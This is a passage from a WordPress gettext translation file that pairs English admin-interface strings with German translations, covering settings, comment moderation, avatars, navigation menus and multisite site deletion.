Stammverzeichnis." #: wp-admin/options-general.php:27 msgid "Most themes display the site title at the top of every page, in the title bar of the browser, and as the identifying name for syndicated feeds. The tagline is also displayed by many themes." msgstr "Der Titel der Website ist wichtig, da er zum Beispiel in der Titelleiste des Browsers und auch meist direkt auf der Startseite sowie in Newsfeeds angezeigt wird. Der Untertitel wird ebenfalls von vielen Themes angezeigt." #: wp-admin/options-general.php:26 msgid "The fields on this screen determine some of the basics of your site setup." msgstr "Auf dieser Seite kannst du ein paar grundlegende Einstellungen vornehmen." #. translators: Date and time format for exact current time, mainly about #. timezones, see https://www.php.net/manual/datetime.format.php #: wp-admin/options-general.php:22 msgctxt "timezone date format" msgid "Y-m-d H:i:s" msgstr "j.m.Y G:i:s" #: wp-admin/options-general.php:19 msgid "General Settings" msgstr "Einstellungen › Allgemein" #: wp-admin/options-discussion.php:281 msgid "Retro (Generated)" msgstr "Retro (automatisch generiert)" #: wp-admin/options-discussion.php:280 msgid "MonsterID (Generated)" msgstr "MonsterID (automatisch generiert)" #: wp-admin/options-discussion.php:279 msgid "Wavatar (Generated)" msgstr "Wavatar (automatisch generiert)" #: wp-admin/options-discussion.php:278 msgid "Identicon (Generated)" msgstr "Identicon (automatisch generiert)" #: wp-admin/options-discussion.php:277 msgid "Gravatar Logo" msgstr "Gravatar-Logo" #: wp-admin/options-discussion.php:276 msgid "Blank" msgstr "Kein Avatar" #: wp-admin/options-discussion.php:275 msgid "Mystery Person" msgstr "Geheimnisvolle Person" #: wp-admin/options-discussion.php:270 msgid "For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their email address." msgstr "Für Benutzer, die keinen eigenen, individuellen Avatar haben, kann wahlweise ein allgemeines Logo oder ein auf Basis der E-Mail-Adresse erzeugter Avatar angezeigt werden." #: wp-admin/options-discussion.php:266 wp-admin/options-discussion.php:267 msgid "Default Avatar" msgstr "Standard-Avatar" #. translators: Content suitability rating: #. https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system #: wp-admin/options-discussion.php:255 msgid "X — Even more mature than above" msgstr "X — Keine Jugendfreigabe" #. translators: Content suitability rating: #. https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system #: wp-admin/options-discussion.php:253 msgid "R — Intended for adult audiences above 17" msgstr "R — Entspricht in etwa dem deutschen FSK18" #. translators: Content suitability rating: #. https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system #: wp-admin/options-discussion.php:251 msgid "PG — Possibly offensive, usually for audiences 13 and above" msgstr "PG — Entspricht dem deutschen FSK12" #. translators: Content suitability rating: #. https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system #: wp-admin/options-discussion.php:249 msgid "G — Suitable for all audiences" msgstr "G — Jugendfrei" #: wp-admin/options-discussion.php:243 wp-admin/options-discussion.php:244 msgid "Maximum Rating" msgstr "Avatare anzeigen mit der Einstufung bis einschließlich" #: wp-admin/options-discussion.php:238 msgid "Show Avatars" msgstr "Avatare anzeigen" #: wp-admin/options-discussion.php:234 msgid "Avatar Display" msgstr "Avataranzeige" #: wp-admin/options-discussion.php:220 msgid "An avatar is an image that follows you from weblog to weblog appearing beside your name when you comment on avatar enabled sites. Here you can enable the display of avatars for people who comment on your site." msgstr "Ein Avatar ist ein Bild, das dich von Website zu Website begleitet und neben deinem Namen erscheint, wenn du auf Websites kommentierst, die Avatare unterstützen. Hier kannst du aktivieren, dass von Leuten, die auf deiner Website kommentieren, Avatare angezeigt werden." #: wp-admin/options-discussion.php:218 msgid "Avatars" msgstr "Avatare" #: wp-admin/options-discussion.php:209 msgid "When a comment contains any of these words in its content, author name, URL, email, IP address, or browser’s user agent string, it will be put in the Trash. One word or IP address per line. It will match inside words, so “press” will match “WordPress”." msgstr "Wenn ein Kommentar innerhalb von Inhalt, Namen, URL, E-Mail-Adresse oder in der IP-Adresse eines der unten aufgeführten Wörter oder Werte enthält, dann wird er als Spam markiert. Ein Wort oder eine IP-Adresse pro Zeile. Wortteile werden auch berücksichtigt, also wird durch „press“ auch „WordPress“ gefiltert." #: wp-admin/options-discussion.php:207 wp-admin/options-discussion.php:208 msgid "Disallowed Comment Keys" msgstr "Kommentar-Sperrliste" #: wp-admin/options-discussion.php:200 msgid "When a comment contains any of these words in its content, author name, URL, email, IP address, or browser’s user agent string, it will be held in the <a href=\"edit-comments.php?comment_status=moderated\">moderation queue</a>. One word or IP address per line. It will match inside words, so “press” will match “WordPress”." msgstr "Wenn ein Kommentar innerhalb von Inhalt, Namen, URL, E-Mail-Adresse oder in der IP-Adresse eines der unten aufgeführten Wörter oder Werte enthält, dann verschiebe diesen Kommentar zum Freischalten in die <a href=\"edit-comments.php?comment_status=moderated\">Warteschlange</a>. Ein Wort oder eine IP-Adresse pro Zeile. Wortteile werden auch berücksichtigt, also wird durch „press“ auch „WordPress“ gefiltert." #. translators: %s: Number of links. #: wp-admin/options-discussion.php:194 msgid "Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)" msgstr "Einen Kommentar in die Warteschlange schieben, wenn er %s oder mehr Links enthält. (Eine hohe Anzahl von Links ist ein typisches Merkmal von Kommentar-Spam.)" #: wp-admin/options-discussion.php:188 wp-admin/options-discussion.php:189 msgid "Comment Moderation" msgstr "Kommentarmoderation" #: wp-admin/options-discussion.php:184 msgid "Comment author must have a previously approved comment" msgstr "muss der Autor bereits einen freigegebenen Kommentar geschrieben haben." #: wp-admin/options-discussion.php:182 msgid "Comment must be manually approved" msgstr "muss der Kommentar manuell freigegeben werden." #: wp-admin/options-discussion.php:178 wp-admin/options-discussion.php:179 msgid "Before a comment appears" msgstr "Bevor ein Kommentar erscheint," #: wp-admin/options-discussion.php:174 msgid "A comment is held for moderation" msgstr "ein Kommentar auf Freischaltung wartet." #: wp-admin/options-discussion.php:170 msgid "Anyone posts a comment" msgstr "jemand einen Kommentar schreibt." #: wp-admin/options-discussion.php:166 wp-admin/options-discussion.php:167 msgid "Email me whenever" msgstr "Mir eine E-Mail senden, wenn" #. translators: %s: Form field control for 'older' or 'newer' comments. #: wp-admin/options-discussion.php:159 msgid "Comments should be displayed with the %s comments at the top of each page" msgstr "Die %s Kommentare sollen oben stehen" #: wp-admin/options-discussion.php:156 msgid "newer" msgstr "neuesten" #: wp-admin/options-discussion.php:152 msgid "older" msgstr "ältesten" #. translators: 1: Form field control for number of top level comments per #. page, 2: Form field control for the 'first' or 'last' page. #: wp-admin/options-discussion.php:138 msgid "Break comments into pages with %1$s top level comments per page and the %2$s page displayed by default" msgstr "Kommentare in Seiten umbrechen, mit %1$s Top-Level-Kommentaren pro Seite und die %2$s-Seite standardmäßig anzeigen." #: wp-admin/options-discussion.php:135 msgid "first" msgstr "erste" #: wp-admin/options-discussion.php:131 msgid "last" msgstr "letzte" #. translators: %s: Number of levels. #: wp-admin/options-discussion.php:119 msgid "Enable threaded (nested) comments %s levels deep" msgstr "Verschachtelte Kommentare in %s Ebenen organisieren" #: wp-admin/options-discussion.php:92 msgid "Show comments cookies opt-in checkbox, allowing comment author cookies to be set" msgstr "Das Opt-in-Kontrollkästchen für Kommentar-Cookies anzeigen, damit die Cookies des Kommentar-Autors gesetzt werden können" #. translators: %s: Number of days. #: wp-admin/options-discussion.php:83 msgid "Automatically close comments on posts older than %s days" msgstr "Kommentare zu Beiträgen, die älter als %s Tage sind, automatisch schließen" #: wp-admin/options-discussion.php:73 msgid "(Signup has been disabled. Only members of this site can comment.)" msgstr "(Die Registrierung ist deaktiviert. Nur Benutzer dieser Website können kommentieren.)" #: wp-admin/options-discussion.php:70 msgid "Users must be registered and logged in to comment" msgstr "Benutzer müssen zum Kommentieren registriert und angemeldet sein" #: wp-admin/options-discussion.php:66 msgid "Comment author must fill out name and email" msgstr "Benutzer müssen zum Kommentieren Name und E-Mail-Adresse angeben" #: wp-admin/options-discussion.php:64 wp-admin/options-discussion.php:65 msgid "Other comment settings" msgstr "Weitere Kommentareinstellungen" #: wp-admin/options-discussion.php:60 msgid "These settings may be overridden for individual posts." msgstr "Diese Einstellungen können für jeden Beitrag individuell geändert werden." #: wp-admin/options-discussion.php:58 msgid "Allow people to submit comments on new posts" msgstr "Erlaube Besuchern, neue Beiträge zu kommentieren." #: wp-admin/options-discussion.php:54 msgid "Allow link notifications from other blogs (pingbacks and trackbacks) on new posts" msgstr "Link-Benachrichtigungen von anderen Blogs (Pingbacks und Trackbacks) zu neuen Beiträgen erlauben" #: wp-admin/options-discussion.php:50 msgid "Attempt to notify any blogs linked to from the post" msgstr "Versucht, alle Blogs zu benachrichtigen, die mit dem Beitrag verlinkt sind." #: wp-admin/options-discussion.php:46 wp-admin/options-discussion.php:47 msgid "Default post settings" msgstr "Standardeinstellungen für Beiträge" #: wp-admin/options-discussion.php:31 msgid "<a href=\"https://wordpress.org/support/article/settings-discussion-screen/\">Documentation on Discussion Settings</a>" msgstr "<a href=\"https://wordpress.org/support/article/settings-discussion-screen/\">Dokumentation zu Diskussionseinstellungen (engl.)</a>" #: wp-admin/options-discussion.php:25 wp-admin/options-general.php:36 #: wp-admin/options-media.php:25 wp-admin/options-permalink.php:25 #: wp-admin/options-permalink.php:45 wp-admin/options-permalink.php:54 #: wp-admin/options-reading.php:36 wp-admin/options-writing.php:24 msgid "You must click the Save Changes button at the bottom of the screen for new settings to take effect." msgstr "Du musst jeweils den Button „Änderungen speichern“ unten auf dem Bildschirm klicken, damit neue Einstellungen wirksam werden." #: wp-admin/options-discussion.php:24 msgid "This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they won’t all fit here! :) Use the documentation links to get information on what each discussion setting does." msgstr "Auf dieser Einstellungsseite hast du umfangreiche Möglichkeiten, das Kommentieren auf deiner Website zu regeln. Beachte, dass das Aktivieren von bestimmten Optionen die Wirkung einer anderen Option aufheben oder einschränken kann." #: wp-admin/options-discussion.php:12 wp-admin/options-general.php:16 #: wp-admin/options-media.php:13 wp-admin/options-permalink.php:13 #: wp-admin/options-reading.php:13 wp-admin/options-writing.php:13 #: wp-admin/options.php:50 wp-admin/network.php:19 msgid "Sorry, you are not allowed to manage options for this site." msgstr "Du bist leider nicht berechtigt, Einstellungen dieser Website zu verwalten." #. translators: %s: Menu name. #: wp-admin/nav-menus.php:1053 msgctxt "menu location" msgid "(Currently set to: %s)" msgstr "(Aktueller Wert: %s)" #: wp-admin/nav-menus.php:1033 msgid "Display location" msgstr "Position im Theme" #: wp-admin/nav-menus.php:1024 msgid "Auto add pages" msgstr "Seiten automatisch hinzufügen" #: wp-admin/nav-menus.php:1008 wp-admin/network/settings.php:473 msgid "Menu Settings" msgstr "Menü-Einstellungen" #: wp-admin/nav-menus.php:993 msgid "Give your menu a name, then click Create Menu." msgstr "Gib deinem Menü einen Namen und klicke dann auf „Menü erstellen“." #: wp-admin/nav-menus.php:975 msgid "Drag the items into the order you prefer. Click the arrow on the right of the item to reveal additional configuration options." msgstr "Ziehe die Einträge in deine bevorzugte Reihenfolge. Klicke den Pfeil auf der rechten Seite, um weitere Konfigurations-Optionen anzuzeigen." #: wp-admin/nav-menus.php:973 msgid "Edit your default menu by adding or removing items. Drag the items into the order you prefer. Click Create Menu to save your changes." msgstr "Bearbeite dein Standard-Menü, indem du Einträge hinzufügst oder entfernst. Ziehe jeden Eintrag an die Position, an der du ihn möchtest. Klicke auf Erstelle Menü, um deine Änderungen zu speichern." #: wp-admin/nav-menus.php:957 wp-admin/nav-menus.php:1099 msgid "Save Menu" msgstr "Menü speichern" #: wp-admin/nav-menus.php:931 msgid "Menu structure" msgstr "Menü-Struktur" #: wp-admin/nav-menus.php:923 msgid "Add menu items" msgstr "Menüeinträge hinzufügen" #. translators: %s: URL to create a new menu. #: wp-admin/nav-menus.php:889 msgid "or <a href=\"%s\">create a new menu</a>. Don’t forget to save your changes!" msgstr "oder <a href=\"%s\">erstelle ein neues Menü</a>. Vergiss nicht, deine Änderungen zu speichern!" #: wp-admin/nav-menus.php:841 msgid "Select a menu to edit:" msgstr "Wähle ein Menü zum Bearbeiten:" #: wp-admin/nav-menus.php:836 wp-admin/nav-menus.php:901 msgid "Click the Save Menu button to save your changes." msgstr "Klicke den Button „Menü speichern“, um die Änderungen zu speichern." #. translators: %s: URL to create a new menu. #: wp-admin/nav-menus.php:824 msgid "Edit your menu below, or <a href=\"%s\">create a new menu</a>. Don’t forget to save your changes!" msgstr "Bearbeite dein Menü unten, oder <a href=\"%s\">erstelle ein neues Menü</a>. Vergiss nicht, deine Änderungen zu speichern!" #: wp-admin/nav-menus.php:817 msgid "Fill in the Menu Name and click the Create Menu button to create your first menu." msgstr "Trag den Menü-Namen ein und klick auf die Schaltfläche „Menü erstellen“, um dein erstes Menü zu erstellen." #: wp-admin/nav-menus.php:816 msgid "Create your first menu below." msgstr "Erstelle unten dein erstes Menü." #: wp-admin/nav-menus.php:790 msgctxt "menu" msgid "Use new menu" msgstr "Neues Menü verwenden" #: wp-admin/nav-menus.php:771 msgctxt "menu" msgid "Edit" msgstr "Bearbeiten" #: wp-admin/nav-menus.php:740 msgid "Select a Menu" msgstr "Wähle ein Menü" #: wp-admin/nav-menus.php:731 msgid "Assigned Menu" msgstr "Zugewiesenes Menü" #: wp-admin/nav-menus.php:730 msgid "Theme Location" msgstr "Position im Theme" #. translators: %s: Number of menus. #: wp-admin/nav-menus.php:716 msgid "Your theme supports %s menu. Select which menu appears in each location." msgid_plural "Your theme supports %s menus. Select which menu appears in each location." msgstr[0] "Dein Theme unterstützt %s Menü. Wähle aus, welches Menü an welcher Position genutzt werden soll." msgstr[1] "Dein Theme unterstützt %s Menüs. Wähle aus, welches Menü an welcher Position genutzt werden soll." #: wp-admin/nav-menus.php:712 msgid "Your theme supports one menu. Select which menu you would like to use." msgstr "Dein Theme unterstützt ein Menü. Wähle aus, welches Menü du verwenden möchtest." #: wp-admin/nav-menus.php:699 msgid "Manage Locations" msgstr "Positionen verwalten" #: wp-admin/nav-menus.php:688 msgid "Edit Menus" msgstr "Menüs bearbeiten" #: wp-admin/nav-menus.php:672 wp-admin/widgets.php:409 msgid "Manage with Live Preview" msgstr "Verwalten mit Live-Vorschau" #: wp-admin/nav-menus.php:649 msgid "<a href=\"https://wordpress.org/support/article/appearance-menus-screen/\">Documentation on Menus</a>" msgstr "<a href=\"https://wordpress.org/support/article/appearance-menus-screen/\">Dokumentation über Menüs (engl.)</a>" #: wp-admin/nav-menus.php:636 msgid "To add a new menu instead of assigning an existing one, <strong>click the ’Use new menu’ link</strong>. Your new menu will be automatically assigned to that theme location" msgstr "Um ein neues Menü zu erstellen, anstatt ein bestehendes zuzuordnen, klicke auf den Link <strong>Neues Menü verwenden</strong>. Dadurch wird dann dieses neue Menü automatisch dieser Position im Theme zugeordnet." #: wp-admin/nav-menus.php:635 msgid "To edit a menu currently assigned to a theme location, <strong>click the adjacent ’Edit’ link</strong>" msgstr "Um ein Menü zu bearbeiten, das bereits einer Position im Theme zugeordnet ist, klicke einfach auf den danebenliegenden Link <strong>Bearbeiten</strong>." #: wp-admin/nav-menus.php:634 msgid "To assign menus to one or more theme locations, <strong>select a menu from each location’s drop down.</strong> When you’re finished, <strong>click Save Changes</strong>" msgstr "Um Menüs zu einer oder mehreren Positionen im Theme zuzuorden, <strong>wähle ein Menü über das Drop-down-Auswahlfeld der jeweiligen Position</strong>. Wenn du fertig bist, klicke auf <strong>Änderungen speichern</strong>" #: wp-admin/nav-menus.php:633 msgid "This screen is used for globally assigning menus to locations defined by your theme." msgstr "In dieser Ansicht kannst du eine globale Zuordnung von Menüs vornehmen, und zwar an die Positionen, die von deinem Theme definiert wurden." #: wp-admin/nav-menus.php:628 msgid "Editing Menus" msgstr "Menüs bearbeiten" #: wp-admin/nav-menus.php:623 msgid "Delete a menu item by <strong>expanding it and clicking the Remove link</strong>" msgstr "Entferne einen Menüeintrag, indem du ihn <strong>aufklappst und auf den Entfernen-Link klickst</strong>." #: wp-admin/nav-menus.php:622 msgid "To reorganize menu items, <strong>drag and drop items with your mouse or use your keyboard</strong>. Drag or move a menu item a little to the right to make it a submenu" msgstr "Um Menüeinträge zu verschieben, <strong>ziehe sie mit der Maus oder benutze die Tastatur</strong>. Ziehe oder bewege einen Menüeintrag etwas nach rechts, um ein Untermenü daraus zu machen." #: wp-admin/nav-menus.php:621 msgid "To add a custom link, <strong>expand the Custom Links section, enter a URL and link text, and click Add to Menu</strong>" msgstr "Um einen individuellen Link hinzuzufügen, <strong>erweitere den Abschnitt für individuelle Links, gib eine URL und einen Link-Text ein und klicke auf „Zum Menü hinzufügen“</strong>." #: wp-admin/nav-menus.php:620 msgid "Add one or several items at once by <strong>selecting the checkbox next to each item and clicking Add to Menu</strong>" msgstr "Um einen oder mehrere Einträge auf einmal hinzuzufügen, <strong>markiere die Checkbox neben den Einträgen und klicke auf „Zum Menü hinzufügen“</strong>." #: wp-admin/nav-menus.php:619 msgid "<strong>Clicking the arrow to the right of any menu item</strong> in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab." msgstr "<strong>Durch Anklicken des Pfeils rechts von jedem Menüeintrag</strong> im Editor wird eine Gruppe üblicher Einstellungen eingeblendet. Zusätzliche Einstellungen wie zum Beispiel Link-Ziele, CSS-Klassen, Link-Beziehungen und Link-Beschreibungen können über den Tab „Ansicht anpassen“ aktiviert und deaktiviert werden." #: wp-admin/nav-menus.php:618 msgid "Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below." msgstr "Jedes Navigationsmenü kann eine Kombination aus Links zu internen Seiten, Kategorien, individuellen URLs oder anderen Inhaltstypen enthalten. Menü-Links werden über die expandierenden Felder in der linken Spalte hinzugefügt." #: wp-admin/nav-menus.php:613 msgid "Menu Management" msgstr "Menüverwaltung" #: wp-admin/nav-menus.php:608 msgid "You can assign theme locations to individual menus by <strong>selecting the desired settings</strong> at the bottom of the menu editor. To assign menus to all theme locations at once, <strong>visit the Manage Locations tab</strong> at the top of the screen." msgstr "Du kannst ein Menü einem Menübereich im Theme zuweisen, indem du die <strong>gewünschten Einstellungen unten im Menüeditor auswählst</strong>. Um Menüs allen Bereichen auf einmal zuzuordnen, gehe auf den <strong>Tab „Positionen verwalten“</strong> oben am Bildschirm." #: wp-admin/nav-menus.php:607 msgid "If you haven’t yet created any menus, <strong>click the ’create a new menu’ link</strong> to get started" msgstr "Du hast noch keine Menüs angelegt. <strong>Klicke auf „Menü hinzufügen“ </strong>, um ein neues Menü anzulegen." #: wp-admin/nav-menus.php:606 msgid "To edit an existing menu, <strong>choose a menu from the drop down and click Select</strong>" msgstr "Um ein bestehendes Menü zu bearbeiten, <strong>wähle ein Menü aus der Auswahlliste und klicke auf „Auswählen“</strong>." #: wp-admin/nav-menus.php:605 msgid "The menu management box at the top of the screen is used to control which menu is opened in the editor below." msgstr "Über den oberen Bereich der Menüverwaltung legst du fest, welches Menü im Editor unten geöffnet werden soll." #: wp-admin/nav-menus.php:595 msgid "Add, organize, and modify individual menu items" msgstr "Einzelne Menüeinträge hinzufügen, anordnen und ändern." #: wp-admin/nav-menus.php:594 msgid "Create, edit, and delete menus" msgstr "Menüs erstellen, bearbeiten und löschen." #: wp-admin/nav-menus.php:593 wp-admin/themes.php:132 msgid "From this screen you can:" msgstr "In dieser Ansicht kannst du:" #. translators: 1: URL to Widgets screen, 2 and 3: The names of the default #. themes. #: wp-admin/nav-menus.php:588 msgid "Menus can be displayed in locations defined by your theme, even used in sidebars by adding a “Navigation Menu” widget on the <a href=\"%1$s\">Widgets</a> screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the Documentation link to the side." msgstr "Menüs können in deinem Theme an vordefinierten Positionen angezeigt oder sogar in Seitenleisten verwendet werden, indem du ein „Navigationsmenü“-Widget im <a href=\"%1$s\">Widgets</a>-Bereich hinzufügst. Wenn dein Theme keine Navigationsmenüs unterstützt (die Standard-Themes %2$s und %3$s tun dies), kannst du über den Link zur Dokumentation erfahren, wie du eine solche Unterstützung hinzufügen kannst." #: wp-admin/nav-menus.php:585 msgid "This screen is used for managing your navigation menus." msgstr "Hier kannst du deine Navigationsmenüs erstellen, bearbeiten und verwalten." #. translators: %s: URL to Widgets screen. #: wp-admin/nav-menus.php:579 msgid "Your theme does not natively support menus, but you can use them in sidebars by adding a “Navigation Menu” widget on the <a href=\"%s\">Widgets</a> screen." msgstr "Dein Theme unterstützt keine Menüs, aber du kannst sie in Seitenleisten verwenden, indem du ein „Navigationsmenü“-Widget im <a href=\"%s\">Widgets-Bereich</a> hinzufügst." #: wp-admin/nav-menus.php:442 msgid "Menu locations updated." msgstr "Menü-Anordnung aktualisiert." #: wp-admin/nav-menus.php:374 wp-admin/nav-menus.php:396 msgid "Please enter a valid menu name." msgstr "Bitte gib einen gültigen Menünamen ein." #: wp-admin/nav-menus.php:310 msgid "Selected menus have been successfully deleted." msgstr "Ausgewählte Menüs wurden erfolgreich gelöscht." #: wp-admin/nav-menus.php:288 msgid "The menu has been successfully deleted." msgstr "Das Menü wurde erfolgreich gelöscht." #: wp-admin/nav-menus.php:265 msgid "The menu item has been successfully deleted." msgstr "Der Menüeintrag wurde erfolgreich gelöscht." #: wp-admin/nav-menus.php:19 msgid "Your theme does not support navigation menus or widgets." msgstr "Das verwendete Theme unterstützt keine Menüs oder Widgets." #: wp-admin/my-sites.php:124 #: wp-admin/includes/class-wp-ms-sites-list-table.php:720 #: wp-admin/network/site-info.php:137 wp-admin/network/site-settings.php:94 #: wp-admin/network/site-themes.php:179 wp-admin/network/site-users.php:224 msgid "Visit" msgstr "Ansehen" #: wp-admin/my-sites.php:112 msgid "Global Settings" msgstr "Globale Einstellungen" #: wp-admin/my-sites.php:77 msgid "You must be a member of at least one site to use this page." msgstr "Du musst Mitglied von mindestens einer Website (des Netzwerks) sein, um diese Seite nutzen zu können." #: wp-admin/my-sites.php:72 wp-admin/network/menu.php:53 #: wp-admin/network/sites.php:369 msgctxt "site" msgid "Add New" msgstr "Neu hinzufügen" #: wp-admin/my-sites.php:58 wp-admin/options-head.php:15 #: wp-admin/options.php:335 wp-admin/network/settings.php:141 #: wp-admin/network/sites.php:351 msgid "Settings saved." msgstr "Die Einstellungen wurden gespeichert." #: wp-admin/my-sites.php:51 msgid "<a href=\"https://codex.wordpress.org/Dashboard_My_Sites_Screen\">Documentation on My Sites</a>" msgstr "<a href=\"https://codex.wordpress.org/Dashboard_My_Sites_Screen\">Dokumentation zu Meine Websites (engl.)</a>" #: wp-admin/my-sites.php:45 msgid "This screen shows an individual user all of their sites in this network, and also allows that user to set a primary site. They can use the links under each site to visit either the front end or the dashboard for that site." msgstr "In dieser Ansicht werden einem Benutzer alle Websites in diesem Netzwerk angezeigt und dieser Benutzer kann hier auch eine primäre Website (auch: Haupt-Website) festlegen. Die Links unter jeder Website ermöglichen den Zugriff auf das Dashboard oder das Frontend der jeweiligen Website." #: wp-admin/my-sites.php:33 msgid "The primary site you chose does not exist." msgstr "Die von dir gewählte primäre Website existiert nicht." #: wp-admin/ms-delete-site.php:131 msgid "Delete My Site Permanently" msgstr "Meine Website unwiderruflich löschen" #. translators: %s: Site address. #: wp-admin/ms-delete-site.php:126 msgid "I'm sure I want to permanently delete my site, and I am aware I can never get it back or use %s again." msgstr "Ich bin mir sicher, dass ich meine Website endgültig deaktivieren möchte. Und ich bin mir bewusst, dass ich sie nie wieder zurückbekommen werde oder %s jemals wiederverwenden kann." #: wp-admin/ms-delete-site.php:117 msgid "Remember, once deleted your site cannot be restored." msgstr "Bedenke bitte, eine gelöschte Website kann nicht wiederhergestellt werden." #. translators: %s: Network title. #: wp-admin/ms-delete-site.php:112 msgid "If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site." msgstr "Wenn du deine %s Website nicht mehr nutzen möchtest, kannst du sie löschen, indem du das untenstehende Formular benutzt. Wenn du auf <strong>Meine Website unwiderruflich löschen</strong> klickst, wird dir eine E-Mail mit einem Link gesendet. Klicke auf diesen Link, um deine Website zu löschen." #: wp-admin/ms-delete-site.php:103 msgid "Thank you. Please check your email for a link to confirm your action. Your site will not be deleted until this link is clicked." msgstr "Danke. Bitte überprüfe deinen Posteingang auf eine Bestätigungs-E-Mail. Deine Website wird erst dann gelöscht, wenn der darin enthaltene Bestätigungslink angeklickt wird." #. translators: %s: Site title. #: wp-admin/ms-delete-site.php:92 msgid "[%s] Delete My Site" msgstr "[%s] Meine Website löschen" #. translators: Do not translate USERNAME, URL_DELETE, SITENAME, SITEURL: those #. are placeholders. #: wp-admin/ms-delete-site.php:56 msgid "" "Howdy ###USERNAME###,\n" "\n" "You recently clicked the 'Delete Site' link on your site and filled in a\n" "form on that page.\n" "\n" "If you really want to delete your site, click the link below. You will not\n" "be asked to confirm again so only click this link if you are absolutely certain:\n" "###URL_DELETE###\n" "\n" "If you delete your site, please consider opening a new site here\n" "some time in the future! (But remember your current site and username\n" "are gone forever.)\n" "\n" "Thanks for using the site,\n" "All at ###SITENAME###\n" "###SITEURL###" msgstr "" "Hallo ###USERNAME###,\n" "\n" "du hast gerade den Link „Website löschen“ für deine Website angeklickt und ein Formular auf dieser Seite ausgefüllt.\n" "\n" "Wenn du deine Website wirklich löschen möchtest, klicke bitte den nachfolgenden Link an. Du wirst nicht nochmal nach einer Bestätigung gefragt. Deshalb klicke den Link bitte nur, wenn du dir absolut sicher bist: ###URL_DELETE###\n" "\n" "Wenn du deine Website löschst, ziehe bitte in Betracht, hier irgendwann in der Zukunft eine neue Website zu eröffnen! (Denke aber daran, dass deine aktuelle Website und dein Benutzername endgültig gelöscht sind.)\n" "\n" "Danke, dass du diese Website nutzt,\n" "von allen auf ###SITENAME###\n" "###SITEURL###" #: wp-admin/ms-delete-site.php:31 msgid "Sorry, the link you clicked is stale. Please select another option." msgstr "Der Link, den du geklickt hast, ist nicht mehr gültig. Bitte wähle eine andere Option." #. translators: %s: Network title. #: wp-admin/ms-delete-site.php:26 msgid "Thank you for using %s, your site has been deleted. Happy trails to you until we meet again." msgstr "Danke für das Benutzen von %s, deine Website wurde gelöscht. Wir wünschen dir eine schöne Reise, auf dass wir uns bald wieder sehen." #: wp-admin/ms-delete-site.php:17 msgid "Sorry, you are not allowed to delete this site." msgstr "Du bist leider nicht berechtigt, diese Website zu löschen." #: wp-admin/ms-delete-site.php:13 wp-admin/my-sites.php:13 #: wp-admin/network/admin.php:17 msgid "Multisite support is not enabled." msgstr "Die Unterstützung für eine Netzwerk-Installation (Multisite) ist nicht aktiviert." #: wp-admin/menu.php:298 msgid "Permalinks" msgstr "Permalinks" #: wp-admin/menu.php:295 msgid "Reading" msgstr "Lesen" #: wp-admin/menu.php:294 msgid "Writing" msgstr "Schreiben" #: wp-admin/menu.php:293 msgctxt "settings screen" msgid "General" msgstr "Allgemein" #: wp-admin/menu.php:289 wp-admin/network.php:52 wp-admin/network/menu.php:112 msgid "Network Setup" msgstr "Netzwerk-Einrichtung" #: wp-admin/menu.php:286 wp-admin/ms-delete-site.php:38 msgid "Delete Site" msgstr "Website löschen" #: wp-admin/menu.php:282 wp-admin/site-health-info.php:35 #: wp-admin/site-health.php:59 msgid "Site Health" msgstr "Website-Zustand" #: wp-admin/menu.php:279 msgid "Available Tools" msgstr "Verfügbare Werkzeuge" #: wp-admin/menu.php:272 wp-admin/menu.php:274 wp-admin/user-new.php:248 #: wp-admin/user-new.php:370 wp-admin/user-new.php:479 #: wp-admin/user-new.php:631 wp-admin/network/site-users.php:332 #: wp-admin/network/site-users.php:359 wp-admin/network/user-new.php:101 #: wp-admin/network/user-new.php:107 msgid "Add New User" msgstr "Neuen Benutzer hinzufügen" #: wp-admin/menu.php:262 wp-admin/menu.php:264 wp-admin/user-edit.php:231 #: wp-admin/users.php:620 wp-admin/network/menu.php:57 #: wp-admin/network/users.php:276 msgctxt "user" msgid "Add New" msgstr "Neu hinzufügen" #: wp-admin/menu.php:260 wp-admin/network/menu.php:56 msgid "All Users" msgstr "Alle Benutzer" #: wp-admin/menu.php:255 wp-admin/menu.php:267 wp-admin/menu.php:270 #: wp-admin/user-edit.php:35 wp-admin/user/menu.php:14 msgid "Profile" msgstr "Profil" #: wp-admin/menu.php:247 wp-admin/network/menu.php:107 msgid "Plugin Editor" msgstr "Plugin-Editor" #. translators: Add new plugin. #: wp-admin/menu.php:246 wp-admin/plugins.php:727 wp-admin/network/menu.php:106 msgctxt "plugin" msgid "Add New" msgstr "Installieren" #: wp-admin/menu.php:242 wp-admin/network/menu.php:105 msgid "Installed Plugins" msgstr "Installierte Plugins" #. translators: %s: Number of pending plugin updates. #. translators: %s: Number of available plugin updates. #: wp-admin/menu.php:240 wp-admin/network/menu.php:88 msgid "Plugins %s" msgstr "Plugins %s" #: wp-admin/menu.php:224 wp-admin/network/menu.php:82 msgid "Theme Editor" msgstr "Theme-Editor" #: wp-admin/menu.php:109 msgid "All Comments" msgstr "Alle Kommentare" #. translators: %s: Number of comments. #: wp-admin/menu.php:98 msgid "Comments %s" msgstr "Kommentare %s" #: wp-admin/menu.php:81 msgctxt "admin menu" msgid "All Links" msgstr "Alle Links" #: wp-admin/menu.php:67 msgid "Library" msgstr "Medienübersicht" #. translators: %s: Number of pending updates. #. translators: %s: Number of available updates. #: wp-admin/menu.php:49 wp-admin/network/menu.php:30 msgid "Updates %s" msgstr "Aktualisierungen %s" #: wp-admin/menu-header.php:287 msgid "Skip to main content" msgstr "Zum Hauptinhalt springen" #: wp-admin/menu-header.php:286 msgid "Main menu" msgstr "Hauptmenü" #: wp-admin/menu-header.php:280 msgid "Collapse menu" msgstr "Menü einklappen" #: 